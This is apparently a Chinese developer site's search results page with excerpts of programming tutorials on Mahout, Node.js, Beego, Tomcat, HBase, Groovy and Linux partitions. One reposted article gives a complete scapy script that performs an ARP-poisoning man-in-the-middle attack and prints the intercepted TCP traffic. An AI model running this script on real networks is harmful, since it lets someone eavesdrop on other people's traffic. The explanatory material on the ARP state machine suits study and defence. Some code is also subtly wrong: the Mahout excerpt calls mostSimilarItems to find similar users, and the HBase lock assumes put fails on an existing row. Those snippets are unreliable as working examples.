前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[处理CSV空值表示的自定义脚本逻辑 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Mahout
...度在推荐系统中的应用逻辑。 三、Mahout中的用户相似度计算 1. 数据准备 在Mahout中,用户-物品交互数据通常表示为一个稀疏向量,每一维度代表一个物品,值则表示用户对此物品的喜爱程度(如评分)。首先,我们需要将原始数据转换为此格式: java // 假设有一个用户ID为123的用户对物品的评分数据 DataModel model = new FileDataModel(new File("ratings.dat")); // 这里的ratings.dat文件应包含每行格式如:'userId itemId rating' 2. 用户相似度计算 Mahout提供多种用户相似度计算方法,例如皮尔逊相关系数(PearsonCorrelationSimilarity)和余弦相似度(CosineSimilarity)。以下是一个使用皮尔逊相关系数计算用户相似度的例子: java // 创建Pearson相似度计算器 UserSimilarity similarity = new PearsonCorrelationSimilarity(model); // 使用GenericUserBasedRecommender类进行相似度计算 UserNeighborhood neighborhood = new NearestNUserNeighborhood(10, similarity, model); Recommender recommender = new GenericUserBasedRecommender(model, neighborhood, similarity); // 计算用户123与其他用户的相似度 List similarUsers = recommender.mostSimilarItems(123, 10); 这段代码首先创建了一个Pearson相关系数相似度计算器,然后定义了邻域模型(这里选择最近的10个用户),最后通过mostSimilarItems方法找到与用户123最相似的其他用户。 3. 深入思考 值得注意的是,选择何种相似度计算方法很大程度上取决于具体的应用场景和数据特性。比如,假如评分数据分布得比较均匀,那皮尔逊相关系数就是个挺不错的选择。但如果评分数据少得可怜,这时候余弦相似度可能就更显神通了。因为它压根不在乎具体的评分数值大小,只关心相对的偏好方向,所以在这种极端稀疏的情况下,效果可能会更好。 四、总结与探讨 Mahout为我们搭建推荐系统的用户相似度计算提供了有力支持。不过,在实际操作的时候,咱们得灵活应变,根据实际情况对参数进行微调,优化那个算法。有时候,为了更上一层楼的推荐效果,咱可能还需要把用户的社交关系、时间因素等其他信息一并考虑进去,让推荐结果更加精准、接地气儿。在我们一路摸索的过程中,可别光依赖冷冰冰的算法分析,更得把咱们用户的感受和体验揣摩透彻,这样才能够实实在在打造出符合每个人个性化需求的推荐系统,让大家用起来觉得贴心又满意。 总的来说,利用Mahout实现用户相似度计算并不复杂,关键在于理解不同相似度计算方法背后的数学原理以及它们在实际业务中的适用性。实践中,我们要善于运用这些工具,同时保持开放思维,不断迭代和优化我们的推荐策略。
2023-02-13 08:05:07
88
百转千回
MyBatis
...借鉴。通过合理设置批处理大小或利用预先定义的抓取图(Fetch Plan),可以在保持延迟加载优势的同时,避免大量小查询带来的性能损失。 另外,数据库层面的优化也是解决数据访问性能的关键一环。例如,MySQL 8.0引入了新的JSON功能和窗口函数,使得在处理复杂关联查询时能更高效地获取所需数据,从而减轻应用程序层面的延迟加载压力。 综上所述,尽管MyBatis的延迟加载功能为开发者提供了便捷高效的手段,但在实际项目中,还需要结合最新的数据库技术动态以及具体的业务场景,灵活运用多种优化策略以达到最佳的数据访问效率。
2023-07-28 22:08:31
123
夜色朦胧_
NodeJS
...的各种小秘密,到巧妙处理那些让人头疼的异步I/O问题,它的能耐可真是超乎咱日常的想象,厉害得不要不要的!今天,咱们就一起动手,把那个让人感觉有点神秘的“process”对象给掀个底朝天。我打算用些实实在在的例子,再配上大白话式的解读,带大家伙儿深入挖掘一下它那些既强大又实用的功能,走起! --- 1. 初识process对象 在Node.js的世界里,process对象就像一个自带超能力的助手,不需要任何导入就能直接调用。它就像个百宝箱,装满了与当前进程息息相关的各种属性和方法,让开发者能够轻轻松松地洞察并掌控进程的状态,就像是在玩弄自己的掌上明珠一样简单明了。例如,我们可以轻松地查看启动Node.js应用时的命令行参数: javascript // 输出Node.js执行文件路径以及传入的参数 console.log('执行文件路径:', process.argv[0]); console.log('当前脚本路径:', process.argv[1]); console.log('命令行参数:', process.argv.slice(2)); 运行这段代码,你会看到它揭示了你如何启动这个Node.js程序,并显示所有传递给脚本的具体参数。 --- 2. 掌控进程生命周期 process对象还赋予我们对进程生命周期的管理权: javascript // 获取当前的工作目录 let currentDir = process.cwd(); console.log('当前工作目录: ', currentDir); // 终止进程并指定退出码 setTimeout(() => { console.log('即将优雅退出...'); process.exit(0); // 0通常代表正常退出 }, 2000); 上述代码展示了如何获取当前工作目录以及如何在特定时机(如定时器结束时)让进程优雅地退出,这里的退出码0通常表示成功退出,而非异常结束。 --- 3. 监听进程事件 process对象还是一个事件发射器,可以监听各种进程级别的事件: javascript // 监听未捕获异常事件 process.on('uncaughtException', (err) => { console.error('发生未捕获异常:', err.message); // 进行必要的清理操作后退出进程 process.exit(1); }); // 监听Ctrl+C(SIGINT信号)事件 process.on('SIGINT', () => { console.log('\n接收到中断信号,正在退出...'); process.exit(); }); 上述代码片段演示了如何处理未捕获的异常和用户按下Ctrl+C时发送的SIGINT信号,这对于编写健壮的应用程序至关重要,确保在意外情况下也能安全退出。 --- 4. 进程间通信与环境变量 通过process对象,我们还能访问和修改环境变量,这是跨模块共享配置信息的重要手段: javascript // 设置环境变量 process.env.MY_SECRET_KEY = 'top-secret-value'; // 读取环境变量 console.log('我的密钥:', process.env.MY_SECRET_KEY); 此外,对于更复杂的应用场景,还可以利用process对象进行进程间通信(IPC),虽然这里不展示具体代码,但它是多进程架构中必不可少的一部分,用于父进程与子进程之间的消息传递和数据同步。 --- 结语 总的来说,Node.js中的process全局对象是我们开发过程中不可或缺的朋友,它既是我们洞察进程内部细节的眼睛,又是我们调整和控制整个应用行为的大脑。随着我们对process对象的各种功能不断摸索、掌握和熟练运用,不仅能让咱们的代码变得更加结实牢靠、灵活多变,更能助我们在Node.js编程的世界里打开新世界的大门,解锁更多高阶玩法,让编程变得更有趣也更强大。所以,在下一次编码之旅中,不妨多花些时间关注这位幕后英雄,让它成为你构建高性能、高可靠Node.js应用的强大助力!
2024-03-22 10:37:33
436
人生如戏
Beego
...花时间解释那些烧脑的逻辑,或者是给API接口写点使用说明啥的。如果这些重要的信息没有被记录下来,后续维护人员将会面临很大的困扰。例如,我们可以看看下面这个简单的Beego控制器示例: go package controllers import ( "github.com/astaxie/beego" ) type UserController struct { beego.Controller } // 获取用户列表 func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 在这个例子中,如果没有任何注释,其他开发者很难理解这个函数的具体作用。因此,添加必要的注释是非常重要的。 3.3 案例三:没有遵循版本控制的最佳实践 最后,我们来看看版本控制的问题。在Beego项目中,我们通常会使用Git来进行版本控制。不过,要是团队里的小伙伴不按套路出牌,比如压根不用分支管理,或者是提交信息简单得让人摸不着头脑,那后续的代码管理和维护可就头大了。举个例子: bash 不正确的提交信息 $ git commit -m "修改了一些东西" 这样的提交信息没有任何具体的内容,对于后续的代码审查和维护都是不利的。正确的做法应该是提供更详细的提交信息,比如: bash $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 4. 如何改进? 既然我们已经了解了不遵守代码提交规则可能带来的问题,那么接下来我们该如何改进呢? 4.1 制定并遵守统一的编码规范 首先,我们需要制定一套统一的编码规范,并确保所有团队成员都严格遵守。比如说,我们可以定个规矩,所有的字符串都得用双引号包起来,变量的名字呢,就用驼峰那种一高一低的方式起名。这不仅可以提高代码的可读性,还能减少不必要的错误。 4.2 添加必要的注释 其次,我们应该养成良好的注释习惯。在编写代码的同时,应该为重要的逻辑和接口添加详细的注释。这样,即使后续维护人员不是原作者,也能快速理解代码的意图。例如: go // 获取用户列表 // @router /api/users [get] func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 4.3 遵循版本控制的最佳实践 最后,我们还需要遵循版本控制的最佳实践。比如说,当你用分支管理功能时,提交的信息可得越详细越好,这样以后自己或别人看代码时才会更容易,审查和维护起来也更轻松。例如: bash 正确的提交信息 $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 5. 结语 总之,代码提交规则的严格遵守对于Beego项目的成功至关重要。虽然开始时可能会觉得有点麻烦,但习惯了之后,你会发现这能大大提升团队的工作效率和代码质量。希望各位开发者能够认真对待这个问题,共同维护一个高质量的代码库。
2024-12-26 15:33:14
93
红尘漫步
Tomcat
...能,比如HTTP请求处理异常。 - 部署失败:尝试部署新的Web应用程序时,可能会因缺少必要的配置信息而失败。 四、诊断与解决策略 1. 检查目录结构 首先,确保/conf目录存在且完整。使用命令行(如Windows的CMD或Linux的Terminal)进行检查: bash ls -l /path/to/tomcat/conf/ 如果发现某些文件缺失,这可能是问题所在。 2. 复制默认配置 如果文件确实丢失,可以从Tomcat的安装目录下的bin子目录复制默认配置到/conf目录。例如,在Linux环境下: bash cp /path/to/tomcat/bin/catalina.sh /path/to/tomcat/conf/ 请注意,这里使用的是示例命令,实际操作时应根据你的Tomcat版本和系统环境调整。 3. 修改配置 对于特定于环境或应用的配置(如数据库连接、端口设置等),需要手动编辑server.xml和web.xml。这一步通常需要根据你的应用需求进行定制。 4. 测试与验证 修改配置后,重新启动Tomcat,通过访问服务器地址(如http://localhost:8080)检查服务是否正常运行,并测试关键功能。 五、最佳实践与预防措施 - 定期备份:定期备份/conf目录,可以使用脚本自动执行,以减少数据丢失的风险。 - 版本管理:使用版本控制系统(如Git)管理Tomcat的配置文件,便于追踪更改历史和团队协作。 - 权限设置:确保/conf目录及其中的文件具有适当的读写权限,避免因权限问题导致的配置问题。 六、总结与反思 面对Tomcat配置文件的丢失或损坏,关键在于迅速定位问题、采取正确的修复策略,并实施预防措施以避免未来的困扰。通过本文的指导,希望能帮助你在遇到类似情况时,能够冷静应对,快速解决问题,让Tomcat再次成为稳定可靠的应用服务器。记住,每一次挑战都是提升技能和经验的机会,让我们在技术的道路上不断前进。
2024-08-02 16:23:30
108
青春印记
HBase
...引言 在大数据时代,处理海量数据成为常态,而HBase作为一款高效、可伸缩的分布式列式数据库,在众多场景中扮演着关键角色。不过,在处理多线程或者分布式这些复杂场景时,为了不让多个任务同时改数据搞得一团糟,确保信息同步和准确无误,一个给力的分布式锁机制可是必不可少的!这篇文会拽着你的小手,一起蹦跶进HBase的大千世界。咱会通过实实在在的代码实例,再配上超级详细的解说,悄悄告诉你怎么巧妙玩转HBase,用它来实现那个高大上的分布式锁,保证让你看得明明白白、学得轻轻松松! 2. HBase基础理解 首先,让我们先对HBase有个基本的认识。HBase基于Google的Bigtable设计思想,利用Hadoop HDFS提供存储支持,并通过Zookeeper管理集群状态和服务协调。他们家这玩意儿,独门绝技就是RowKey的设计,再加上那牛哄哄的原子性操作,妥妥地帮咱们在分布式锁这块儿打开了新世界的大门。 3. 利用HBase实现分布式锁的基本思路 在HBase中,我们可以创建一个特定的表,用于表示锁的状态。每一行代表一把锁,RowKey可以是锁的名称或者需要锁定的资源标识。每个行只有一个列族(例如:"Lock"),并且这个列族下的唯一一个列(例如:"lock")的值并不重要,我们只需要关注它的存在与否来判断锁是否被占用。 4. 示例代码详解 下面是一个使用Java API实现HBase分布式锁的示例: java import org.apache.hadoop.hbase.TableName; import org.apache.hadoop.hbase.client.Connection; import org.apache.hadoop.hbase.client.ConnectionFactory; import org.apache.hadoop.hbase.client.Put; import org.apache.hadoop.hbase.client.Table; public class HBaseDistributedLock { private final Connection connection; private final TableName lockTable = TableName.valueOf("distributed_locks"); public HBaseDistributedLock(Configuration conf) throws IOException { this.connection = ConnectionFactory.createConnection(conf); } // 尝试获取锁 public boolean tryLock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Put put = new Put(Bytes.toBytes(lockName)); put.addColumn("Lock".getBytes(), "lock".getBytes(), System.currentTimeMillis(), null); try { table.put(put); // 如果这行已存在,则会抛出异常,表示锁已被占用 return true; // 无异常则表示成功获取锁 } catch (ConcurrentModificationException e) { return false; // 表示锁已被其他客户端占有 } finally { table.close(); } } // 释放锁 public void unlock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Delete delete = new Delete(Bytes.toBytes(lockName)); table.delete(delete); table.close(); } } 5. 分析与讨论 上述代码展示了如何借助HBase实现分布式锁的核心逻辑。当你试着去拿锁的时候,就相当于你要在一张表里插一条新记录。如果发现这条记录竟然已经存在了(这就意味着这把锁已经被别的家伙抢先一步拿走了),系统就会毫不客气地抛出一个异常,然后告诉你“没戏,锁没拿到”,也就是返回个false。而在解锁时,只需删除对应的行即可。 然而,这种简单实现并未考虑超时、锁续期等问题,实际应用中还需要结合Zookeeper进行优化,如借助Zookeeper的临时有序节点特性实现更完善的分布式锁服务。 6. 结语 HBase的分布式锁实现是一种基于数据库事务特性的方法,它简洁且直接。不过呢,每种技术方案都有它能施展拳脚的地方,也有它的局限性。就好比选择分布式锁的实现方式,咱们得看实际情况,比如应用场景的具体需求、对性能的高标准严要求,还有团队掌握的技术工具箱。这就好比选工具干活,得看活儿是什么、要干得多精细,再看看咱手头有什么趁手的家伙事儿,综合考虑才能选对最合适的那个。明白了这个原理之后,咱们就可以动手实操起来,并且不断摸索、优化它,让这玩意儿更好地为我们设计的分布式系统架构服务,让它发挥更大的作用。
2023-11-04 13:27:56
437
晚秋落叶
转载文章
...NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
563
转载
Groovy
...Groovy作为一种脚本语言,它在Java的基础上进行了很多扩展,比如动态类型、闭包支持等等。哎呀,说到方法参数传递嘛,Groovy这小子可真是个“有样学样”的家伙,把Java的那一套全盘接收了过来,但又不是简单照搬,它还自己搞了些小创意,就像在菜里加了点独家调料,味道更特别了! 比如说,你知道Groovy的方法参数可以是可变数量的吗?这在处理不确定数量的输入参数时特别有用。再比如,Groovy支持默认参数值,这意味着你可以给方法参数设置一个默认值,这样调用方就可以选择性地传入参数或者直接使用默认值。 今天我们就来聊聊Groovy中方法参数传递的方式,我保证会用一些例子让你明白这些概念。 --- 2. 参数传递的基础 按值传递 vs 按引用传递 首先,让我们来谈谈最基本的参数传递方式——按值传递和按引用传递。在Groovy里啊,情况其实挺简单的:基本数据类型,像int、double之类的,都是直接“按值传递”的,也就是说,传过去的是它们的具体值,改了也不会影响原来的变量。但要是你传的是对象,那就不一样了,传的是引用,相当于给了个“地址”,所以如果你在方法里对这个对象做了修改,外面的那个对象也会跟着变。简单来说,基本类型自己玩自己的,对象嘛,大家资源共享! 2.1 按值传递的例子 groovy def addNumbers(a, b) { a = a + 10 b = b + 20 return a + b } def x = 5 def y = 10 def result = addNumbers(x, y) println "Result: $result" // 输出: Result: 35 println "x: $x, y: $y" // 输出: x: 5, y: 10 在这个例子中,x和y的原始值并没有被改变,因为它们是基本数据类型,传递到方法中时是按值传递的。方法内部对它们的修改不会影响外部的变量。 2.2 按引用传递的例子 groovy class Person { String name } def modifyPerson(person) { person.name = "Alice" } def p = new Person(name: "Bob") modifyPerson(p) println "Name: ${p.name}" // 输出: Name: Alice 这里我们看到,Person对象是按引用传递的。当我们在modifyPerson方法中修改person对象的属性时,这个修改会影响到外部的p对象。 --- 3. 可变参数 处理不确定数量的输入 有时候,你可能不知道你的方法需要接收多少个参数。Groovy允许你定义可变参数的方法,这非常方便。 3.1 使用可变参数 groovy def sum(numbers) { def total = 0 numbers.each { num -> total += num } return total } println sum(1, 2, 3, 4) // 输出: 10 println sum(5, 10, 15) // 输出: 30 在这个例子中,numbers是一个数组,它可以接收任意数量的参数。通过遍历这个数组,我们可以轻松地计算出所有参数的总和。 --- 4. 默认参数值 简化调用 Groovy还支持为方法参数设置默认值。这使得方法调用更加灵活,尤其是当你不想每次都传入所有的参数时。 4.1 使用默认参数值 groovy def greet(name, greeting = "Hello") { println "$greeting, $name!" } greet("Alice") // 输出: Hello, Alice! greet("Bob", "Hi") // 输出: Hi, Bob! 在这个例子中,第二个参数greeting有一个默认值"Hello"。如果调用方没有提供这个参数,方法就会使用默认值。这不仅减少了代码量,也提高了灵活性。 --- 5. 总结与个人感悟 通过今天的讨论,我们了解了Groovy中方法参数传递的几种主要方式:按值传递、按引用传递、可变参数以及默认参数值。其实啊,每种方法都有自己的拿手好戏,就像不同的工具适合干不同的活儿一样。要是咱们能搞明白这些,就能写出既顺溜又聪明的代码啦! 说实话,当我第一次接触到Groovy的这些特性时,我感到非常兴奋。它让我意识到编程不仅仅是遵循规则,更是一种艺术。通过合理运用这些技巧,我们可以让代码变得更加简洁、优雅。 如果你还在纠结如何选择合适的参数传递方式,不妨多尝试几个例子,看看哪种方式最适合你的项目需求。记住,编程是一个不断学习和实践的过程,每一次尝试都是一次成长的机会!
2025-03-15 15:57:01
102
林中小径
转载文章
...Java库,主要用于处理和解析HTML文档。在本文档的上下文中,Jsoup被用来从HTML文件中提取、操作数据以及清理(标准化)HTML内容。通过调用Jsoup的方法,开发者可以方便地获取到网页中的特定元素,如链接标签(LinkTag)和表格标签(TableTag)等,并进一步分析这些元素内的信息。 NodeFilter , NodeFilter是HTMLParser库中定义的一个接口,用于过滤或匹配HTML文档中的节点对象。在该文章代码示例中,作者创建了多个NodeFilter实例,比如NodeClassFilter和OrFilter,来筛选出符合特定条件的HTML节点,例如包含特定类别的TableTag和LinkTag。这样做的目的是在解析过程中仅关注与安全漏洞相关的部分。 LinkTag , 在HTML语法中,LinkTag表示超链接标签(<a>),它通常用于定义指向其他网页、资源或锚点的链接。在本文所描述的Java程序中,LinkTag是一个关键对象类型,程序会检查并提取其中的内容以识别安全漏洞的相关信息,特别是当标签内含有特定字符串时,如\ onclick\ 和\ vul-\ ,进而分析并分类(高危、中危、低危)漏洞名称。 TableTag , TableTag代表HTML中的表格标签(<table>),用于展示多行多列的数据结构。在这个Java应用案例里,TableTag同样是被重点关注的对象类型,程序会根据其属性值进行定位,并使用Jsoup解析表格内的内容,将每一行的键值对数据(如<td>元素中的文本)提取出来,作为漏洞简介或其他相关信息的一部分。
2023-07-19 10:42:16
298
转载
转载文章
...主分区,从第5开始为逻辑分区,最大到16 磁盘容量与主分区、扩展分区、逻辑分区的关系: 硬盘的容量 = 主分区的容量 + 扩展分区的容量 扩展分区的容量 = 各个逻辑分区的容量之和 -------------------------------------- cd /mnt mkdir winc mkdir wind mkdir wine mount /dev/hda1 /mnt/winc mount /dev/hda5 /mnt/wind mount /dev/hda6 /mnt/wine 最多有4个主分区,所以逻辑分区从5开始 ---------------------------------------- 在linux的分区表示中,硬盘为hd,第一块硬盘为hda,第二块为hdb.一块硬盘最多可以分成四个主分区,dos主分区,dos扩展分区,linux根分区和linux交换分区都属于主分区,4个主分区分别用数字表示,如果是第一块硬盘,就 hda1,hda2,hda3和hda4. 在扩展分区上还可以分逻辑分区,标号从5往后依次排列.在windows中c盘为dos主分区,是hda1, d盘一般是dos扩展分区上的第一个逻辑分区, 是hda5, e为hda6, f为hda7等等. 在linux下可以通过mount命令挂栽windows分区到一个文件夹(这个文件夹称作挂载点),然后你可以通过这个文件夹访问windows分区. mount -t vfat /dev/hda1 /mnt/winc -o codepage=936 iocharset=936 顺便说一下挂载光盘和iso镜像和挂载U盘挂载U盘的命令: 挂载光盘和iso镜像 mount -t iso 9660 -o loop 名称.iso 挂载点 挂载U盘 mount -t vfat /dev/sda1 /mnt/usb 在網上碰到一耳光相關的問題,睇下啦: 在Linux中,分区为主分区、扩展分区和逻辑分区,使用fdisk –l命令获得分区信息如下所示: Disk /dev/hda:240 heads, 63 sectors, 140 cylinders Units=cylinders of 15120 512 bites Device Boot Start End Blocks Id System /dev/hda 1 286 2162128+ c Win95 FAT32(LBA) /dev/hda2 288 1960 12496680 5 Extended /dev/hda8 984 1816 6297448+ 83 Linux /dev/hda9 1817 1940 937408+ 83 Linux 其中,属于扩展分区的是 (5) 。 使用df -T命令获得信息部分如下所示: Filesystem Type 1k Blocks Used Avallable Use% Mounted on /dev/hda6 relserfs 4195632 2015020 2180612 49% / /dev/hda1 vfat 2159992 1854192 305800 86% /windows/c 其中,不属于Linux系统分区的是 (6) 。 答案: (5)/dev/hda2,(6)/dev/hda1 在Linux中对硬盘也有两种表示方法: 第一种方法:IDE接口中的整块硬盘在Linux系统中表示为/dev/hd[a-z],比如/dev/hda,/dev/hdb ... ... 以此类推,有时/dev/hdc可能表示的是CDROM 。这种方法实际表示了硬盘的物理位置,只要硬盘的连接位置不变,标号也不会发生变化。 对于/dev/hda 类似的表示方法,也并不陌生吧;我们在Linux通过fdisk -l 就可以查到硬盘是/dev/hda还是/dev/hdb。 另一种表示方法是:hd[0-n] ,其中n是一个正整数,比如hd0,hd1,hd2 ... ... hdn ;数字从0开始,按照BIOS中发现硬盘的顺序排列,如果机器中只有一块硬盘,无论我们通过fdisk -l 列出的是/dev/hda 还是/dev/hdb ,都是hd0;如果机器中存在两个或两个以上的硬盘,第一个硬盘/dev/hda 另一种方法表示为hd0,第二个硬盘/dev/hdb,另一种表法是hd1 。 现在新的机器,在BIOS 中,在启动盘设置那块,硬盘是有hd0,hd1之类的,这就是硬盘表示方法的一种。 在Linux中,对SATA和SCSI接口的硬盘的表示方法和IDE接口的硬盘相同,只是把hd换成sd;如您的机器中比如有一个硬盘是/dev/hda ,也有一个硬盘是/dev/sda ,那/dev/sda的硬盘应该是sd0; 具体每个分区用(sd[0-n],y)的表示方法和IDE接口中的算法相同,比如/dev/sda1 就是(sd0,0)。 >>>以下来自百度百科 磁盘及分区 设备管理 在 Linux 中,每一个硬件设备都映射到一个系统的文件,对于硬盘、光驱等 IDE 或 SCSI 设备也不例外。 Linux 把各种 IDE 设备分配了一个由 hd 前缀组成的文件;而对于各种 SCSI 设备,则分配了一个由 sd 前缀组成的文件。 例如,第一个 IDE 设备,Linux 就定义为 hda;第二个 IDE 设备就定义为 hdb;下面以此类推。而 SCSI 设备就应该是 sda、sdb、sdc 等。 分区数量 要进行分区就必须针对每一个硬件设备进行操作,这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘(IDE 或 SCSI)设备,Linux 分配了一个 1 到 16 的序列号码,这就代表了这块硬盘上面的分区号码。 例如,第一个 IDE 硬盘的第一个分区,在 Linux 下面映射的就是 hda1,第二个分区就称作是 hda2。对于 SCSI 硬盘则是 sda1、sdb1 等。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39713578/article/details/111950574。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-26 12:47:34
117
转载
转载文章
...droid SDK中定义的一个监听器接口,用于处理用户对UI组件(如Button、TextView等)的点击事件。当我们将一个实现了OnClickListener接口的对象设置给UI组件的setOnClickListener()方法时,当用户点击该组件时,将会回调我们实现的onClick()方法。例如,文章中的代码片段展示了如何创建一个匿名内部类来实现OnClickListener接口,并在onClick()方法中利用\ this\ 关键字来正确引用外部的Activity上下文环境。
2023-09-27 17:37:26
95
转载
Gradle
...L配置文件,使得构建脚本更加简洁和易读。Gradle 使用了一种称为“任务”的概念来定义构建过程中的各个步骤,并且支持灵活的任务依赖关系。在本文中,Gradle 用于管理项目的构建流程,确保代码能够正确编译和打包。 注解处理器 , 注解处理器是一种特殊的编译器插件,它在编译阶段对带有注解的Java源代码进行处理。注解处理器能够生成额外的源代码或资源文件,从而增强程序的功能。这些处理器通过扫描源代码中的注解来执行特定的任务,例如自动生成代码或修改现有的类文件。在本文中,注解处理器主要用于生成额外的代码,提升项目的功能和性能。 META-INF/services/javax.annotation.processing.Processor , 这是一个特殊的文件路径,位于项目的资源目录下。该文件用于列出所有可用的注解处理器类。当编译器在编译阶段检测到源代码中的注解时,它会查找这个文件以确定应该使用的注解处理器。文件中每一行通常包含一个处理器类的全限定名,告诉编译器去哪里找到这些处理器。如果该文件缺失或配置不正确,编译器将无法找到所需的注解处理器,从而导致构建失败。
2024-11-29 16:31:24
83
月影清风
Kylin
